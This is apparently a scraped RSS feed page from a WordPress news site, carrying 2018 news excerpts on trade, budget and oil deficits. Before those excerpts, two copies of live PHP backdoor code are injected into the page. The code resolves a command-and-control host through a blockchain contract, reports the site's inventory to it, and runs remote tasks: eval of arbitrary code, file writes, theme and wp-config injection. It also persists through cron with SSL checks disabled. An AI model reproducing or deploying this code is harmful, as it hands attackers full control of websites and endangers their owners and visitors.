// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); deficit – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 03 Jun 2018 09:49:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png deficit – Brief News https://briefnews.eu 32 32 Creating a legal marijuana market in the UK could offset the entire NHS deficit https://briefnews.eu/creating-a-legal-marijuana-market-in-the-uk-could-offset-the-entire-nhs-deficit/ https://briefnews.eu/creating-a-legal-marijuana-market-in-the-uk-could-offset-the-entire-nhs-deficit/#respond Sun, 03 Jun 2018 09:49:13 +0000 http://briefnews.eu/creating-a-legal-marijuana-market-in-the-uk-could-offset-the-entire-nhs-deficit/ MarijuanaGetty Images

  • A legal cannabis market in the UK could boost the treasury by £1 billion ($ 1.33 billion).
  • This is a figure so high it could offset the escalating NHS deficit.

 

LONDON — A legal cannabis market could generate over £1 billion ($ 1.33 billion) in tax revenue — a figure so high it could offset the escalating NHS deficit.

See the rest of the story at Business Insider

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SEE ALSO: Britain’s historic winter weather is giving away the location of secret cannabis farms

]]> https://briefnews.eu/creating-a-legal-marijuana-market-in-the-uk-could-offset-the-entire-nhs-deficit/feed/ 0 China just recorded a shock trade deficit https://briefnews.eu/china-just-recorded-a-shock-trade-deficit/ https://briefnews.eu/china-just-recorded-a-shock-trade-deficit/#respond Fri, 13 Apr 2018 07:14:49 +0000 http://briefnews.eu/china-just-recorded-a-shock-trade-deficit/ China trade data March 2018Business Insider Australia

  • China recorded a shock trade deficit of $ 4.98 billion in March, the first in more than a year.
  • Imports surged by 14.4% from a year earlier while exports fell 2.7% over the same period.
  • China’s trade surplus with the US fell to $ 15.43 billion, below the $ 20.96 billion level of February.

China recorded a surprise trade deficit in March, driven by a steep decline in exports.

According to China’s General Administration of Customs, a deficit of $ 4.98 billion was recorded, surprising economists who were expecting a surplus of $ 27.21 billion.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/china-just-recorded-a-shock-trade-deficit/feed/ 0 The US reportedly sent China a to-do list to fix deficit and avoid a trade war https://briefnews.eu/the-us-reportedly-sent-china-a-to-do-list-to-fix-deficit-and-avoid-a-trade-war/ https://briefnews.eu/the-us-reportedly-sent-china-a-to-do-list-to-fix-deficit-and-avoid-a-trade-war/#respond Mon, 26 Mar 2018 09:31:36 +0000 http://briefnews.eu/the-us-reportedly-sent-china-a-to-do-list-to-fix-deficit-and-avoid-a-trade-war/ trump xiGetty Images / Thomas Peter-Pool

  • The US asked China in a letter last week to cut the tariff on US autos, buy more US-made semiconductors and give US firms greater access to the Chinese financial sector, the Wall Street Journal reported on Monday.
  • Alarm over a possible trade war between the world’s two largest economies has chilled financial markets as investors foresee dire consequences should trade barriers go up due to President Donald Trump’s bid to cut the US deficit with China.
  • Treasury Secretary Steven Mnuchin is considering a visit to Beijing to pursue negotiations, the paper reported.

BEIJING (Reuters) – The United States asked China in a letter last week to cut the tariff on U.S. autos, buy more U.S.-made semiconductors and give U.S. firms greater access to the Chinese financial sector, the Wall Street Journal reported on Monday, citing unnamed sources.

Alarm over a possible trade war between the world’s two largest economies has chilled financial markets as investors foresee dire consequences should trade barriers go up due to President Donald Trump’s bid to cut the U.S. deficit with China.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/the-us-reportedly-sent-china-a-to-do-list-to-fix-deficit-and-avoid-a-trade-war/feed/ 0 US to allocate $250mn to ‘tackle Russian influence’ amid soaring military spending & budget deficit https://briefnews.eu/us-to-allocate-250mn-to-tackle-russian-influence-amid-soaring-military-spending-budget-deficit/ https://briefnews.eu/us-to-allocate-250mn-to-tackle-russian-influence-amid-soaring-military-spending-budget-deficit/#respond Thu, 22 Mar 2018 23:52:54 +0000 http://briefnews.eu/us-to-allocate-250mn-to-tackle-russian-influence-amid-soaring-military-spending-budget-deficit/ The US is allocating $ 250 million to counter Russian influence, according to a government spending bill, which also provides for a record boost in US defense spending and a significant sum for military assistance to Ukraine.

With claims and allegations of Russian meddling swirling around Washington DC since the 2016 election, “not less than $ 250,000,000 shall be made available to carry out the purposes of the Countering Russian Influence Fund,” the 2,200-page Consolidated Appropriations Act, unveiled by the US Congress on Wednesday, states.

While accusing Moscow of interference in the US election, the bill makes no effort to hide America’s own plans to meddle in Russia’s internal affairs. “Funds appropriated by this Act shall be made available to support democracy programs in the Russian Federation, including to promote Internet freedom,” the document reads.

The US has been increasingly focused on trying to detect and counter the perceived Kremlin-backed attack on American democracy on all fronts since the 2016 elections. In early March, the US State Department and then-Secretary of State Rex Tillerson even faced criticism, after it was revealed that the agency didn’t spend a single dollar out of the $ 120 million it received for countering “Russian and Chinese propaganda.”

Read more

FILE PHOTO © Alexei Druzhinin / Global Look Press

In February, a US Special Counsel indicted 13 Russian nationals and three Russian entities on charges of trying to sow discord in America via their activities on social media. The document, however, did not mention the Democratic National Committee (DNC) hack or indicate that there was any collusion with the Trump campaign. It also confirmed there was no evidence of any impact on the outcome of the election or links to the Russian government. Moscow has repeatedly denied Washington’s accusations, with Vladimir Putin again telling the NBC in early March that those indicted had nothing to do with the Russian government.

Nevertheless, the $ 1.3 trillion government spending draft also provides $ 380 million to protect the US voting system from cyberattacks. Despite the Department of Homeland Security saying last year that there was no evidence of any votes being altered by Russian or any other hackers in 2016, the US intelligence officials have been warning that midterm elections in November could be targeted.

Among other things, the Consolidated Appropriations Act provides an $ 80 billion increase in defense funding, the largest in 15 years, also earmarking $ 1.6 billion in funds for the construction of the fence along the Mexican border, one of Trump’s most controversial campaign promises.

The US budget also allocated $ 200 million for military assistance to Ukraine, which included ‘lethal defensive weapons’ aid to Kiev. “For the ‘Ukraine Security Assistance Initiative’, $ 200,000,000 is hereby appropriated, to remain available until September 30, 2018,” the document mandates.

READ MORE: State Dept has $ 120mn war chest for Russia-bashing – and ex-envoy McFaul wants to spend it

The funds are expected to be spent on “training; equipment; lethal weapons of a defensive nature; logistics support, supplies and services sustainment; and intelligence support to the military and national security forces of Ukraine, and for replacement of any weapons or defensive articles provided to the Government of Ukraine.”

US President Donald Trump has to approve the bill by Friday in order to avoid a government shutdown. The US government already briefly stopped operating in January and February as the lawmakers were unable to agree on the funding. “The president supports the bill, looks forward to signing it,” Mick Mulvaney, Office of Management and Budget director, said on Thursday.

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]]> https://briefnews.eu/us-to-allocate-250mn-to-tackle-russian-influence-amid-soaring-military-spending-budget-deficit/feed/ 0 Saudis ready to swing oil market into deficit https://briefnews.eu/saudis-ready-to-swing-oil-market-into-deficit/ https://briefnews.eu/saudis-ready-to-swing-oil-market-into-deficit/#respond Sun, 25 Feb 2018 06:09:43 +0000 http://briefnews.eu/saudis-ready-to-swing-oil-market-into-deficit/ Saudi Arabia is undergoing a truly seismic shift in its economy, politics, and society, all thanks to the oil price crash of 2014.

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© Christofe Archambault

Crown Prince Mohammed bin Salman, commonly referred to as MBS, would likely not have had the opportunity to initiate the sweeping changes envisaged in Vision 2030 had it not been for the price collapse. Now, Riyadh needs oil prices to rise as high as possible for the plan to succeed — and is even ready to tip the market into a deficit to that end.

Saudi Arabia used to be OPEC’s most influential price dove, according to Bloomberg’s Grant Smith. Now, the kingdom has adopted a markedly different approach. Saudi Arabia is now focused on pushing prices as high as it can for a very simple reason: Aramco’s IPO.

There are more than enough doubts surrounding the listing of the world’s largest oil company. There’s no certainty about the location of its international listing, and some observers have even argued that Riyadh might opt for a private placement instead so as to ensure the entire 5 percent that is set to be offered will find a buyer.

Aramco’s IPO is crucial for Vision 2030, as the proceeds from the sale will be the fuel that this ambitious plan runs on. While analysts disagree strongly on exactly how much Aramco is worth, it’s clear that the higher oil prices are, the higher the valuation for this oil giant will be.

After a strong rally at the end of 2017 and the beginning of 2018, Brent and WTI have both fallen from their multiyear highs, as the fast growth in US shale production offsets the OPEC cuts. Despite OECD inventories nearing their five-year average, oil prices are refusing to rally. In fact, some analysts are warning that the price slide we saw this month is only the beginning of a much bigger decline.

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© Saudi Aramco

Riyadh doesn’t want to hear this prior to the IPO. It’s not something the Saudis want to hear in the coming years either, because the price of oil doesn’t just need to be higher now — it needs to remain high in the near to medium term to ensure the Aramco IPO’s success.

So, what’s an oil kingdom to do? Last week, Energy Minister Khalid al-Falih suggested that OPEC should change the way it measures global inventories because the current method produces unreliable data. The current method is based on the five-year average inventory level for the members of the OECD. But that five-year average is a moving target, as OilPrice’s Nick Cunningham recently noted, and in the last five years it has reflected a substantial glut. So, based on the five-year OECD average, the market rebalancing may turn out to be a reduction of the overhang as opposed to an impressive reduction in the global oil glut.

Of course, there’s always the possibility of a conflict in the Middle East driving oil prices up — but geopolitical unrest is far from a guarantee. The recent unconfirmed (and likely to never be confirmed) reports about Saudi Arabia working together with Israel to thwart Iran’s growing influence in the region were followed this week by an open warning from Tel Aviv that it’s ready to confront Iran directly, and Iran issuing an in-kind threat that promised to “level Tel Aviv.” For oil price analysts, these growing tensions can never be ignored.

